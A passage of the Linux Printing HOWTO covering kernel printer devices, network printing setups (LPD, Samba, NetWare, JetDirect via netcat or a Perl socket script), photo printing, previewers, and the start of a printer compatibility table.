5.3. What printers work?
5.4. How to buy a printer
6. Spooling software
6.1. LPD
6.2. PDQ
6.3. LPRng
6.4. PPR
6.5. CUPS
7. How it all works
7.1. PDQ
7.2. LPD
8. How to set things up
8.1. Configuring PDQ
8.2. Configuring LPD
8.3. Large Installations
8.4. Accounting
9. Vendor Solutions
9.1. Red Hat
9.2. Debian
9.3. SuSE
9.4. Caldera
9.5. Corel
9.6. Mandrake
9.7. Other Distributions
10. Ghostscript.
10.1. Invoking Ghostscript
10.2. Ghostscript output tuning
11. Networks
11.1. Printing to a Unix/lpd host
11.2. Printing to a Windows or Samba printer
11.3. Printing to a NetWare Printer
11.4. Printing to an EtherTalk (Apple) printer
11.5. Printing to a networked printer
11.6. Running an if for remote printers with old LPDs
11.7. From Windows.
11.8. From an Apple.
11.9. From Netware.
11.10. Networked Printer Administration
12. Windows-only printers
12.1. The Ghostscript Windows redirector
12.2. HP Winprinters
12.3. Lexmark Winprinters
13. How to print to a fax machine.
13.1. Using a faxmodem
13.2. Using the Remote Printing Service
13.3. Commercial Faxing Services
14. How to generate something worth printing.
14.1. Markup languages
14.2. WYSIWYG Word Processors
15. Printing Photographs
15.1. Ghostscript and Photos
15.2. Paper
15.3. Printer Settings
15.4. Print Durability
15.5. Shareware and Commercial Software
16. On-screen previewing of printable things.
16.1. PostScript
16.2. TeX dvi
16.3. Adobe PDF
17. Serial printers under lpd
17.1. Setting up in printcap
17.2. Older serial printers that drop characters
18. What's missing?
18.1. Plumbing
18.2. Fonts
18.3. Metadata
18.4. Drivers
19. Credits
Index
Next
Introduction


Kernel printer devices

The Linux Printing HOWTO
Prev Next

4. Kernel printer devices

There are two completely different device drivers for the parallel port; which one you are using depends on your kernel version (which you can find out with the command uname -a). The driver changed in Linux 2.1.33; essentially all current systems will be running kernel 2.2 or later, so you'll probably want to skip ahead to the parport driver section.

A few details are the same for both styles of driver. Most notably, many people have found that Linux will not detect their parallel port unless they disable "Plug and Play" in their PC BIOS. (This is no surprise; the track record for PnP of non-PCI devices with Windows and elsewhere has been something of a disaster).

4.1. The lp device (kernels <=2.1.32)

The Linux kernel (<=2.1.32), assuming you have compiled in or loaded the lp device (the output of cat /proc/devices should include the device lp if it is loaded), provides one or more of /dev/lp0, /dev/lp1, and /dev/lp2. These are NOT assigned dynamically, rather, each corresponds to a specific hardware I/O address. This means that your first printer may be lp0 or lp1 depending on your hardware. Just try both.

A few users have reported that their bidirectional lp ports aren't detected if they use an older unidirectional printer cable. Check that you've got a decent cable.

One cannot run the plip and lp drivers at the same time on any given port (under 2.0, anyway). You can, however, have one or the other driver loaded at any given time either manually, or by kerneld with version 2.x (and later 1.3.x) kernels. By carefully setting the interrupts and such, you can supposedly run plip on one port and lp on the other. One person did so by editing the drivers; I eagerly await a success report of someone doing so with only a clever command line.

There is a little utility called tunelp floating about with which you, as root, can tune the Linux 2.0 lp device's interrupt usage, polling rate, and other options.

When the lp driver is built into the kernel, the kernel will accept an lp= option to set interrupts and io addresses:
When the lp driver is built in to the kernel, you may use the
LILO/LOADLIN command line to set the port addresses and interrupts
that the driver will use.

Syntax:      lp=port0[,irq0[,port1[,irq1[,port2[,irq2]]]]]

For example:   lp=0x378,0   or   lp=0x278,5,0x378,7 **

Note that if this feature is used, you must specify *all* the ports
you want considered, there are no defaults.  You can disable a
built-in driver with lp=0.

When loaded as a module, it is possible to specify io addresses and interrupt lines on the insmod command line (or in /etc/conf.modules so as to affect kerneld) using the usual module argument syntax. The parameters are io=port0,port1,port2 and irq=irq0,irq1,irq2. Read ye the man page for insmod for more information on this.

**For those of you who (like me) can never find the standard port numbers when you need them, they are as in the second example above. The other port (lp0) is at 0x3bc. I've no idea what interrupt it usually uses.

The source code for the Linux 2.0 parallel port driver is in /usr/src/linux/drivers/char/lp.c.

4.2. The parport device (kernels >= 2.1.33)

Beginning with kernel 2.1.33 (and available as a patch for kernel 2.0.30), the lp device is merely a client of the new parport device. The addition of the parport device corrects a number of the problems that plague the old lp device driver - it can share the port with other drivers, it dynamically assigns available parallel ports to device numbers rather than enforcing a fixed correspondence between I/O addresses and port numbers, and so forth.

The advent of the parport device has enabled a whole flock of new parallel-port drivers for things like Zip drives, Backpack CD-ROMs and disks, and so forth. Some of these are also available in versions for 2.0 kernels; look around on the web.

The main difference that you will notice, so far as printing goes, is that parport-based kernels dynamically assign lp devices to parallel ports. So what was lp1 under Linux 2.0 may well be lp0 under Linux 2.2. Be sure to check this if you upgrade from an lp-driver kernel to a parport-driver kernel.

The most popular problems with this device seems to stem from misconfiguration:

The Distribution

Some Linux distributions don't ship with a properly setup /etc/modules.conf (or /etc/conf.modules), so the driver isn't loaded properly when you need it to be. With a recent modutils, the proper magical lines from modules.conf seem to be:
  alias /dev/printers lp             # only for devfs?
  alias /dev/lp*      lp             # only for devfs?
  alias parport_lowlevel parport_pc  # missing in Red Hat 6.0-6.1

The BIOS

Many PC BIOSes will make the parallel port into a Plug-and-Play device. This just adds needless complexity to a perfectly simple device that is nearly always present; turn off the PnP setting for your parallel prot ("LPT1" in many BIOSes) if your parallel port isn't detected by the Linux driver. The correct setting is often called "legacy", "ISA", or "0x378", but probably not "disabled".

You can also read the parport documentation in your kernel sources, or look at the parport web site.

4.3. Serial devices

Serial devices are usually called something like /dev/ttyS1 under Linux. The utility stty will allow you to interactively view or set the settings for a serial port; setserial will allow you to control a few extended attributes and configure IRQs and I/O addresses for non-standard ports. Further discussion of serial ports under Linux may be found in the Serial-HOWTO.

When using a slow serial printer with flow control, you may find that some of your print jobs get truncated. This may be due to the serial port, whose default behavior is to purge any untransmitted characters from its buffer 30 seconds after the port device is closed. The buffer can hold up to 4096 characters, and if your printer uses flow control and is slow enough that it can't accept all the data from the buffer within 30 seconds after printing software has closed the serial port, the tail end of the buffer's contents will be lost. If the command cat file > /dev/ttyS2 produces complete printouts for short files but truncated ones for longer files, you may have this condition.

The 30 second interval can be adjusted through the "closing_wait" commandline option of setserial (version 2.12 and later). A machine's serial ports are usually initialized by a call to setserial in the rc.serial boot file. The call for the printing serial port can be modified to set the closing_wait at the same time as it sets that port's other parameters.

4.4. USB Devices

I don't have any USB devices to play with, so all I can offer are pointers. Once set up, you end up with the device file /dev/usb/lp0, much as you do with parallel ports, which will work fine in printcap or as a PDQ local-port device.

USB is documented at the Linux USB Website.

Prev | Home | Next
How to print |  | Supported Printers


Networks

The Linux Printing HOWTO
Prev Next

11. Networks

One of the features of most spoolers is that they support printing over the network to printers physically connected to a different machine, or to the network directly. With the careful combination of filter scripts and assorted utilities, you can print transparently to printers on all sorts of networks.

11.1. Printing to a Unix/lpd host

To allow remote machines to print to your printer using the LPD protocol, you must list the machines in /etc/hosts.equiv or /etc/hosts.lpd. (Note that hosts.equiv has a host of other effects; be sure you know what you are doing if you list any machine there). You can allow only certain users on the other machines to print to your printer by usign the rs attribute; read the lpd man page for information on this.

11.1.1. With pdq

With PDQ, you define a printer with the interface type "bsd-lpd". This interface takes arguments for the remote hostname and queue name; the printer definition wizard will prompt you for these.

11.1.2. With lpd

To print to another machine, you make an /etc/printcap entry like this:
# REMOTE djet500
lp|dj|deskjet:\
        :sd=/var/spool/lpd/dj:\
        :rm=machine.out.there.com:\
        :rp=printername:\
        :sh:
Note that there is still a spool directory on the local machine managed by lpd. If the remote machine is busy or offline, print jobs from the local machine wait in the spool area until they can be sent.

11.1.3. With rlpr

You can also use rlpr to send a print job directly to a queue on a remote machine without going through the hassle of configuring lpd to handle it. This is mostly useful in situations where you print to a variety of printers only occasionally. From the announcement for rlpr:

Rlpr uses TCP/IP to send print jobs to lpd servers anywhere on a network.

Unlike lpr, it *does not* require that the remote printers be explicitly known to the machine you wish to print from, (e.g. through /etc/printcap) and thus is considerably more flexible and requires less administration.

rlpr can be used anywhere a traditional lpr might be used, and is backwards compatible with traditional BSD lpr.

The main power gained by rlpr is the power to print remotely *from anywhere to anywhere* without regard for how the system you wish to print from was configured. Rlpr can work as a filter just like traditional lpr so that clients executing on a remote machine like netscape, xemacs, etc, etc can print to your local machine with little effort.

Rlpr is available from Metalab.

11.2. Printing to a Windows or Samba printer

There is a Printing to Windows mini-HOWTO out there which has more info than there is here.

11.2.1. From PDQ

There is not a prebuilt smb interface that I am aware of, but it would be fairly easy to create using the model set by the Netatalk-based appletalk interface. Someone please create one and submit it for inclusion!

Read the Windows/LPD section below for more tips on how to do it.

11.2.2. From LPD

It is possible to direct a print queue through the smbclient program (part of the samba suite) to a TCP/IP based SMB print service. Samba includes a script to do this called smbprint. In short, you put a configuration file for the specific printer in question in the spool directory, and install the smbprint script as the if.

The /etc/printcap entry goes like this:
lp|remote-smbprinter:\
    :sh:\
    :lp=/dev/null:\
    :sd=/var/spool/lpd/lp:\
    :if=/usr/local/sbin/smbprint:

You should read the documentation inside the smbprint script for more information on how to set this up.

You can also use smbclient to submit a file directly to an SMB printing service without involving lpd. See the man page.

11.3. Printing to a NetWare Printer

The ncpfs suite includes a utility called nprint which provides the same functionality as smbprint but for NetWare. You can get ncpfs from Metalab. From the LSM entry for version 0.16:

" With ncpfs you can mount volumes of your netware server under Linux. You can also print to netware print queues and spool netware print queues to the Linux printing system. You need kernel 1.2.x or 1.3.54 and above. ncpfs does NOT work with any 1.3.x kernel below 1.3.54. "

11.3.1. From LPD

To make nprint work via lpd, you write a little shell script to print stdin on the NetWare printer, and install that as the if for an lpd print queue. You'll get something like:
sub2|remote-NWprinter:\
        :sh:\
        :lp=/dev/null:\
        :sd=/var/spool/lpd/sub2:\
        :if=/var/spool/lpd/nprint-script:
The nprint-script might look approximately like:
#! /bin/sh
# You should try the guest account with no password first!
/usr/local/bin/nprint -S net -U name -P passwd -q printq-name -

11.4. Printing to an EtherTalk (Apple) printer

The netatalk package includes something like nprint and smbclient. Others have documented the procedure for printing to and from an Apple network far better than I ever will; see the Linux Netatalk-HOWTO.

11.4.1. From PDQ

PDQ includes an interface declaration called "appletalk". This uses the Netatalk package to print to a networked Apple printer. Just select this interface in xpdq's "Add printer" wizard.

11.5. Printing to a networked printer

Many printers come with an ethernet interface which you can print to directly, typically using the LPD protocol. You should follow the instructions that came with your printer or its network adaptor, but in general, such printers are "running" lpd, and provide one or more queues which you can print to. An HP, for example, might work with a printcap like:
lj-5|remote-hplj:\
        :sh:\
        :sd=/var/spool/lpd/lj-5:\
        :rm=printer.name.com:\
        :rp=raw:
or, using the PDQ bsd-lpd interface arguments of REMOTE_HOST=printer.name.com and QUEUE=raw.

HP Laserjet printers with JetDirect interfaces generally support two built in lpd queues - "raw" which accepts PCL (and possibly Postscript) and "text" which accepts straight ascii (and copes automatically with the staircase effect). If you've got a JetDirect Plus3 three-port box, the queues are named "raw1", "text2", and so forth.

Note that the ISS company has identified an assortment of denial of service attacks which hang HP Jetdirect interfaces. Most of these have been addressed beginning in Fall 98. These sorts of problems are common in embedded code; few appliance-style devices should be exposed to general Internet traffic.

In a large scale environment, especially a large environment where some printers do not support PostScript, it may be useful to establish a dedicated print server to which all machines print and on which all ghostscript jobs are run. This will allow the queue to be paused or reordered using the topq and lprm commands.

This also allows your Linux box to act as a spool server for the printer so that your network users can complete their print jobs quickly and get on with things without waiting for the printer to print any other job that someone else has sent. This is suggested too if you have unfixable older HP Jetdirects; it reduces the likelihood of the printers wedging.

To do this, set up a queue on your linux box that points at the ethernet equipped HP LJ (as above). Now set up all the clients on your LAN to point at the Linux queue (eg lj-5 in the example above).

Some HP network printers apparently don't heed the banner page setting sent by clients; you can turn off their internally generated banner page by telnetting to the printer, hitting return twice, typing "banner: 0" followed by "quit". There are other settings you can change this way, as well; type "?" to see a list.

The full range of settings can be controlled with HP's webJetAdmin software. This package runs as a daemon, and accepts http requests on a designated port. It serves up forms and Java applets which can control HP printers on the network. In theory, it can also control Unix print queues, but it does so using the rexec service, which is completely unsecure. I don't advise using that feature.

11.5.1. To AppSocket Devices

Some printers (and printer networking "black boxes") support only a cheesy little non-protocol involving plain TCP connections; this is sometimes called the "AppSocket" protocol. Notable in this category are early-model JetDirect (including some JetDirectEx) cards. Basically, to print to the printer, you must open a TCP connection to the printer on a specified port (typically 9100, or 9100, 9101 and 9102 for three-port boxes) and stuff your print job into it. LPRng has built-in support for stuffing print jobs into random TCP ports, but with BSD lpd it's not so easy. The best thing is probably to obtain and use the little utility called netcat.

A netcat-using PDQ interface would look something like this:
interface tcp-port-0.1 {

   help "This is one of the first interfaces supported by standalone
         network printers and print servers.  The device simply
         listens for a TCP connection on a certain port, and sends
         data from any connection to the printer.\nThis interface
         requires the netcat program (\"nc\")."

   required_args "REMOTE_HOST"

   argument {
      var = "REMOTE_HOST"
      desc = "Remote host"
      help = "This is IP name or number of the print server."
   }

   argument {
      var = "REMOTE_PORT"
      def_value = "9100"
      desc = "Remote port"
      help = "This is the TCP port number on the print server that the
              print job should be sent to.  Most JetDirect cards, and
              clones, accept jobs on port 9100 (or 9101 for port 2,
              etc)."
   }

   requires "nc"

   send_exec { cat $OUTPUT | nc $REMOTE_HOST $REMOTE_PORT }

}

Failing that, it can be implemented, among other ways, in Perl using the program below. For better performance, use the program netcat ("nc"), which does much the same thing in a general purpose way. Most distributions should have netcat available in prepackaged form.

#!/usr/bin/perl
# Thanks to Dan McLaughlin for writing the original version of this
# script (And to Jim W. Jones for sitting next to Dan when writing me
# for help ;)

$fileName = @ARGV[0];

open(IN,"$fileName") || die "Can't open file $fileName";

$dpi300     = "\x1B*t300R";
$dosCr      = "\x1B&k3G";
$ends = "\x0A";

$port =  9100 unless $port;
$them = "bach.sr.hp.com" unless $them;

$AF_INET = 2;
$SOCK_STREAM = 1;
$SIG{'INT'} = 'dokill';
$sockaddr = 'S n a4 x8';

chop($hostname = `hostname`);
($name,$aliases,$proto) = getprotobyname('tcp');
($name,$aliases,$port) = getservbyname($port,'tcp')
    unless $port =~ /^\d+$/;;
($name,$aliases,$type,$len,$thisaddr) =
        gethostbyname($hostname);
($name,$aliases,$type,$len,$thataddr) = gethostbyname($them);
$this = pack($sockaddr, $AF_INET, 0, $thisaddr);
$that = pack($sockaddr, $AF_INET, $port, $thataddr);

if (socket(S, $AF_INET, $SOCK_STREAM, $proto)) {
#    print "socket ok\n";
}
else {
    die $!;
}
# Give the socket an address.
if (bind(S, $this)) {
#    print "bind ok\n";
}
else {
    die $!;
}

# Call up the server.

if (connect(S,$that)) {
#    print "connect ok\n";
}
else {
    die $!;
}

# Set socket to be command buffered.

select(S); $| = 1; select(STDOUT);

#    print S "@PJL ECHO Hi $hostname! $ends";
#    print S "@PJL OPMSG DISPLAY=\"Job $whoami\" $ends";
#    print S $dpi300;

# Avoid deadlock by forking.

if($child = fork) {
    print S $dosCr;
    print S $TimesNewR;

    while (<IN>) {
        print S;
    }
    sleep 3;
    do dokill();
} else {
    while(<S>) {
        print;
    }
}

sub dokill {
    kill 9,$child if $child;
}

11.6. Running an if for remote printers with old LPDs

One oddity of older versions of lpd is that the if is not run for remote printers. (Versions after 0.43 or so have the change originated on FreeBSD such that the if is always run). If you find that you need to run an if for a remote printer, and it isn't working with your lpr, you can do so by setting up a double queue and requeueing the job. As an example, consider this printcap:

lj-5:\
        :lp=/dev/null:sh:\
        :sd=/var/spool/lpd/lj-5:\
        :if=/usr/lib/lpd/filter-lj-5:
lj-5-remote:sh:rm=printer.name.com:\
        :rp=raw:sd=/var/spool/lpd/lj-5-raw:
in light of this filter-lj-5 script:
#!/bin/sh
gs <options> -q -dSAFER -sOutputFile=- - | \
        lpr -Plj-5-remote -U$5

The -U option to lpr only works if lpr is run as daemon, and it sets the submitter's name for the job in the resubmitted queue correctly. You should probably use a more robust method of getting the username, since in some cases it is not argument 5. See the man page for printcap.

11.7. From Windows.

Printing from a Windows (or presumably, OS/2) client to a Linux server is directly supported over SMB through the use of the SAMBA package, which also supports file sharing of your Linux filesystem to Windows clients.

Samba includes fairly complete documentation, and there is a good Samba FAQ which covers it, too. You can either configure a magic filter on the Linux box and print PostScript to it, or run around installing printer-specific drivers on all the Windows machines and having a queue for them with no filters at all. Relying on the Windows drivers may in some cases produce better output, but is a bit more of an administrative hassle if there are many Windows boxen. So try Postscript first. Modern versions of Samba should support the automagical driver download mechanism offered by Windows NT servers to deal with this problem.

With PDQ, you should configure Samba to run the pdq command with appropriate arguments instead of the lpr command that it defaults to running. I believe that Samba will run pdq as the proper user, so it should work well this way. There are several Samba options that you should adjust to do this:

printcap

This should point to a "fake" printcap you whip up listing available printers. All you need is a short and long name for each printer, one per line:
lp1|Printer One
lp2|Printer Two
lp3|Printer Three
The short name will be used as the printer name for the print command:

print command

This will need to be set to something like pdq -P %p %s ; rm %s.

lprm command

There doesn't seem to be a good value for this setting at the moment. PDQ's queued jobs will expire after a time, so if the printer is totally gone there's no problem. If you just change your mind, you can use xpdq to cancel jobs, but this is inconvenient from Windows. Just put a do-nothing command like true for now. If you use lpd or LPRng as the back-end, then a suitable lprm command should work. I'm not sure how Samba would identify the lpr queue entry number for a pdq-submitted job.

lpq command

Again, PDQ doesn't offer a good value to put here. Distributed systems don't offer a sensible way to see the queue, but samba-centric centralized server systems want to have a queue worth examining. Just put a do-nothing command like true for now. If you use LPD or LPRng as the back-end, then a suitable lpq command should work; you just won't see jobs until they're done being filtered by PDQ.

11.8. From an Apple.

Netatalk supports printing from Apple clients over EtherTalk. See the Netatalk HOWTO Page for more information.

11.9. From Netware.

The ncpfs package includes a daemon named pserver which can be used to privide service to a NetWare print queue. From what I understand, this system requires a Bindery-based NetWare, ie 2.x, 3.x, or 4.x with bindery access enabled.

For more information on ncpfs and it's pserver program, see the ncpfs FTP site.

11.10. Networked Printer Administration

Most networked printers support some method of remote administration. Often there are easy-to-use web pages for configuration. More usefully, there is often support for SNMP management. Typically you can find out interesting information on printer status like ink and paper levels, print volumes, and so forth, and you can usually change certain settings. SNMP printer control, and a number of other printing-related things, are being standardized by the IEEE's Printer Working Group

11.10.1. npadmin

Npadmin is a command-line program which offers an interface to the common SNMP functionality of networked printers. It implements the standard Printer MIB, as well as a few vendor-proprietary schemes used mainly for older devices. Both printer-discovery style actions and various printer status queries are supported.

npadmin has an excellent man page, and precompiled packages are distributed for a number of RPM and dpkg based distributions.

11.10.2. Other SNMP tools

Besides npadmin, there are a number of SNMP tools that will be useful. snmptraplogd can log SNMP trap events. This is useful for observing printer jams, out of paper events, etc; it would be straightforward to retransmit certain events to a pager, or to send an email.

While npadmin provides simplified support for many network printers' SNMP interfaces, some printers may have vendor extensions which npadmin doesn't know about. In this case, you can use the CMU SNMP tools, which support arbitrary SNMP GET and SET operations, as well as walks and the like. With these, and a bit of work, you can make use of any SNMP feature offered by your printer's MIB. You may need to obtain a MIB from your vendor to figure out what all the variables are; sometimes vendors think that people actually use the proprietary tools they ship.

VA Linux's libprinterconf includes code to perform network printer discovery. Printers are identified against a compiled-in library of printer signatures; at the moment the library is not large, but does cover many common networked printer models.

Prev | Home | Next
Ghostscript. |  | Windows-only printers


Printing Photographs

The Linux Printing HOWTO
Prev Next

15. Printing Photographs

There are many details to getting decent photo output from common printers. If you haven't bought a photo printer yet, see the photo-related tips in Section 5.4.

15.1. Ghostscript and Photos

Ghostscript has some difficulties rendering color photographs through most drivers. The problems are several:

  • Many drivers have poorly tuned color support. Often the colors don't match the Windows driver output or the screen. OTOH, all drivers, and Ghostscript as a whole, have readily adjustable color support; the "Gamma" settings (see Section 10.2.2) are one thing to play with, and there are others documented in Ghostscript's Use.htm documentation file.

  • I'm only aware of one Ghostscript driver with support for 6 and 7 color printing; it's in beta at the moment and supports most Epson Stylus Photo models. It is rumoured to produce better color than the Windows driver (!). The Ghostscript driver core itself provides no support for non CMYK or RGB colors; arguably, some work to put that there is needed.

  • Ghostscript often ends up dithering coarsely, or generating printouts with artifacts like banding. The dithering can usually be corrected; see Section 10.2.3, and read the documentation for your driver.

You should be able to correct some of these problems by tuning Ghostscript; see Section 10 for more information on how to do this. Fiddling with Ghostscript options is much easier if you declare them as options in your spooling system.

That said, the obvious solution for now is to use non-Ghostscript software for printing photos, and indeed, such things do exist. The main contender is the print plugin in the Gimp, which supports pixel-for-pixel printing on Epson Styluses and Postscript printers (with basic PPD support). That Epson Stylus portion of that driver is available for Ghostcript, as well, as the stp driver. Also possible to use for this purpose are the assorted external pnm-to-foo programs used to print on printers like the cheap Lexmarks; these print attempt to print pixmaps pixel-for-pixel.

The best solution, of course, is to buy a Postscript printer; such printers can usually be completely controlled from available free software, and will print to the full capability of the printer.

15.2. Paper

Color inkjets are extremely dependent on the paper for good output. The expensive glossy coated inkjet papers will allow you to produce near-photographic output, while plain uncoated paper will often produce muddy colors and fuzzy details. Nonglossy coated inkjet papers will produce results in between, and are probably best for final prints of text, as well. Stiffer glossy coated "photo" papers will produce similar output to lighter-weight glossy papers, but will feel like a regular photo.

15.3. Printer Settings

For photo output on most color inkjets, you should use the most highly interlaced (and slowest) print mode; otherwise solid regions may have banding or weak colors. Generally with Ghostscript this is what will happen when you pick the highest resolution. With Postscript printers, you may need to add a snippet to the prologue based on the settings available in the PPD file. The Gimp's PPD support doesn't include (printer-specific) print quality settings, but I added one in an ugly way for my own use; contact me if you'd like that. If you use PDQ or CUPS, you can easily control all the printer settings you need. VA Linux's libppd and the GPR front-end can also add these options for Postscript printers.

15.4. Print Durability

Color inkjet printouts usually fade after a few years, especially if exposed to lots of light and air; this is a function of the ink. Printers with ink-only consumables like the Epsons and Canons can buy archival inks, which are less prone to this problem. Newer printers often use pigment-based inks, which don't fade as much as the older dye-based ink did. No inkjet output is really particularly good for long-term archival use. Write the bits to a CD-R and store that instead.

15.5. Shareware and Commercial Software

There's a program called xwtools which supports photo printing with all the bells and whistles on an assortment of Epson, HP, and Canon printers. Unfortunately, it was written under NDA, so comes without source. Unless you use it for the Epson Stylus Color 300 on Linux x86, it costs E15 for personal use; commercial pricing is unknown.

The ESP Print Pro package from Easy Software supports some printers which might otherwise be unsupported. These drivers are not reported to be very well-tuned for photos, but they do work.

Prev | Home | Next
How to generate something worth printing. |  | On-screen previewing of printable things.


On-screen previewing of printable things.

The Linux Printing HOWTO
Prev Next

16. On-screen previewing of printable things.

Nearly anything you can print can be viewed on the screen, too.

16.1. PostScript

Ghostscript has an X11 driver best used under the management of the PostScript previewer gv. The latest versions of these programs should be able to view PDF files, as well. Note that gv has replaced the older previewer "Ghostview"; the new user interface is mch prettier and featureful that ghostview's plain old Athena GUI.

Figure 14. Gv

16.2. TeX dvi

TeX DeVice Independent files may be previewed under X11 with xdvi. Modern versions of xdvi call ghostscript to render PostScript specials.

A VT100 driver exists as well. It's called dgvt. Tmview works with Linux and svgalib, if that's all you can do.

16.3. Adobe PDF

Adobe's Acrobat Reader is available for Linux; just download it from the Adobe web site.

You can also use xpdf, which is free software, and I believe gv supports viewing PDF files with gs under X11.

Prev | Home | Next
Printing Photographs |  | Serial printers under lpd


Supported Printers

The Linux Printing HOWTO
Prev Next

5. Supported Printers

The Linux kernel will let you speak with any printer that you can plug into a serial, parallel, or usb port, plus any printer on the network, but this alone is insufficient; you must also be able to generate data that the printer will understand. Primary among the incompatible printers are those referred to as "Windows" or "GDI" printers. They are called this because all or part of the printer control language and the design details of the printing mechanism are not documented. Typically the vendor will provide a Windows driver and happily sell only to Windows users; this is why they are called Winprinters. In some cases the vendor also provides drivers for NT, OS/2, or other operating systems.

Many of these printers do not work with Linux. A few of them do, and some of them only work a little bit (usually because someone has reverse engineered the details needed to write a driver). See the printer support list below for details on specific printers.

A few printers are in-between. Some of NEC's models, for example, implement a simple form of the standard printer language PCL that allows PCL-speaking software to print at up to 300dpi, but only NEC knows how to get the full 600dpi out of these printers.

Note that if you already have one of these Winprinters, there are roundabout ways to get Linux to print to one, but they're rather awkward. See Section 12 in this document for more discussion of Windows-only printers.

5.1. Postscript

As for what printers do work with Linux, the best choice is to buy a printer with native PostScript support in firmware. Nearly all Unix software that produces printable output produces it in PostScript, so obviously it'd be nice to get a printer that supports PostScript directly. Unfortunately, PostScript support is scarce outside the laser printer domain, and is sometimes a costly add-on.

Unix software, and the publishing industry in general, have standardized upon Postscript as the printer control language of choice. This happened for several reasons:

Timing

Postscript arrived as part of the Apple Laserwriter, a perfect companion to the Macintosh, the system largely responsible for the desktop publishing revolution of the 80s.

It's device-independent

Postscript programs can be run to generate output on a pixel screen, a vector screen, a fax machine, or almost any sort of printer mechanism, without the original program needing to be changed. Postscript output will look the same on any Postscript device, at least within the limits of the device's capabilities. Before the creation of PDF, people exchanged complex documents online as Postscript files. The only reason this standard didn't "stick" was because Windows machines didn't usually include a Postscript previewer, so Adobe specified hyperlinks and compression for Postscript, called the result PDF, distributed previewers for it, and invented a market for their "distiller" tools (the functionality of which is also provided by ghostscript's ps2pdf and pdf2ps programs).

It's a real programming language

Postscript is a complete programming language; you can write software to do most anything in it. This is mostly useful for defining subroutines at the start of your program to reproduce complex things over and over throughout your document, like a logo or a big "DRAFT" in the background. But there's no reason you couldn't compute π in a Postscript program.

It's open

Postscript is fully specified in a publically available series of books (which you can find at any good bookstore). Although Adobe invented it and provides the dominant commercial implementation, other vendors like Aladdin produce independently coded implementations as well.

5.2. Non-Postscript

Failing the (larger) budget necessary to buy a Postscript printer, you can use any printer supported by Ghostscript, the free Postscript interpreter used in lieu of actual printer Postscript support. Note that most Linux distributions can only ship a somewhat outdated version of Ghostscript due to the license. Fortunately, there is usually a prepackaged up to date Ghostscript made available in each distribution's contrib area.

Adobe now has a new printer language called "PrintGear". I think it's a greatly simplified binary format language with some Postscript heritage but no Postscript compatibility. And I haven't heard of Ghostscript supporting it. But some PrintGear printers seem to support another language like PCL, and these printers will work with Linux (iff the PCL is implemented in the printer and not in a Windows driver).

Similarly, Adobe offers a host-based Postscript implementation called PressReady. This works much like Ghostscript does to provide Postscript support for a non-Postscript printer, but has the disadvantage that it runs only on Windows.

5.3. What printers work?

If you want to buy a printer, you can look in several places to see if it will work. The cooperatively maintained Printing HOWTO printer database aims to be a comprehensive listing of the state of Linux printer support. A summary of it is below; be sure to check online for more details and information on what driver(s) to use.

Ghostscript's printer compatibility page has a list of some working printers, as well as links to other pages.

Dejanews contains hundreds of "it works" and "it doesn't work" testimonials. Try all three, and when you're done, check that your printer is present and correct in the database, so that it will be listed properly in this document in the future.

If you're lazy, I keep a short list of suggested printers on my website. These center around color inkjets and low-cost laser devices; fully compatible mid-range and high-end devices are much easier to find. You can even help support this document and the website by buying from buy.com or outpost.com through me.

5.3.1. Printer compatibility list

This section is a summary of the online database. The online version includes device specifications, notes, driver information, user-maintained documentation, manufacturer web pages, and interface scripts for using drivers with several print spooling systems (including LPR, LPRng, PDQ, and CUPS). The online version of this list is also interactive; people can and do add printers all the time, so be sure to check it as well. Finally, if your printer isn't listed, add it!

Note that this listing is not gospel; people sometimes add incorrect information, which I eventually weed out. Entries I have not sanity-checked are marked with an asterisk (*). Verify from Dejanews that a printer works for someone before buying it based on this list. If you can find no information in Dejanews, mail me and I'll put you in contact with the person who added the printer.

Printers here are categorized into three types:

Perfectly

Perfect printers work perfectly - you can print to the full ability of the printer, including color, full resolution, etc. In a few cases printers with undocumented "resolution enhancement" modes that don't work are listed as perfect; generally the difference in print quality is small enough that it isn't worth worrying about.

Mostly

You can print fine, but there may be minor limitations of one sort or another in either printing or other features.

Partially

You can print, but maybe not in color, or only at a poor resolution. See the online listing for information on the limitation.

Paperweight

You can't print a darned thing; typically this will be due to lack of a driver and/or documentation on how to write one. Paperweights occasionally get "promoted", either when someone discovers that an existing driver works, or when someone creates a new driver, but you shouldn't count on this happening.

In all cases, since this information is provided by dozens of people, none of it is guaranteed to be correct; entries with an asterisk (*) are particularly suspect. The facts, however, should be easy to corroborate from the driver web pages and manufacturer web sites.

And without further ado, here is the printer compatibility list:

Table 1. Linux Printer Support

Manufacturer

Perfectly

Mostly

Partially

Paperweight

Alps

MD-1000
MD-1300
MD-2000
MD-4000
MD-5000

Apollo

P-1200

Apple

12/640ps
Dot Matrix
ImageWriter
ImageWriter LQ
LaserWriter 16/600*
LaserWriter IINTX*
LaserWriter IIg
LaserWriter Select 360

Color StyleWriter 1500
Color StyleWriter 2200
Color StyleWriter 2400
Color StyleWriter 2500
LaserWriter NT
StyleWriter 1200
StyleWriter I
StyleWriter II

Avery

Personal Label Printer+

Personal Label Printer

Brother

HL-4Ve
HL-8
HL-10V
HL-10h
HL-630
HL-660
HL-720
HL-730
HL-760
HL-820
HL-1020
HL-1040
HL-1070*
HL-1250
HL-1260
HL-1270N
HL-1660e
HL-2060

HJ-400
HL-1050
HL-1060
HL-1240

DCP-1200
HL-1030*
MC-3000
MFC 7150C
MFC-4350
MFC-6550MC
MFC-8300
MFC-9100c
MFC-9500
MFC-9600

4550*
MP-21C

C.Itoh

M8510

CalComp

Artisan 1023 penplotter*

Canon

BJ-5
BJ-10e
BJ-20
BJ-200
BJ-330
BJC-70
BJC-210
BJC-250
BJC-600
BJC-610
BJC-620
BJC-800
BJC-4000
BJC-4100
BJC-4200
BJC-4300*
BJC-4400*
GP 335
GP 405
LBP-4+
LBP-4U
LBP-8A1
LBP-430
LBP-1260
LBP-1760
LIPS-III

BJC-80
BJC-240
BJC-1000*
BJC-2000*
BJC-2100
BJC-3000
BJC-4310SP
BJC-7004*
LBP-4sx

BJ-300
BJC-210SP
BJC-4550
BJC-6000*
BJC-6100
BJC-7000*
BJC-7100*
BJC-8200
MultiPASS C2500*
MultiPASS C3000
MultiPASS C3500*
MultiPASS C5000*
MultiPASS C5500

BJC-5000
BJC-5100
BJC-6500
BJC-8000
LBP-460*
LBP-600
LBP-660*
Multipass L6000*

Citizen

ProJet II*
ProJet IIc

printiva600C

Compaq

IJ300
IJ750
IJ900

DEC

DECWriter 500i*
DECwriter 110i*
DECwriter 520ic*
LA50*
LA75*
LA75 Plus*
LN03*
LN07*

LJ250*
LN17

1800*

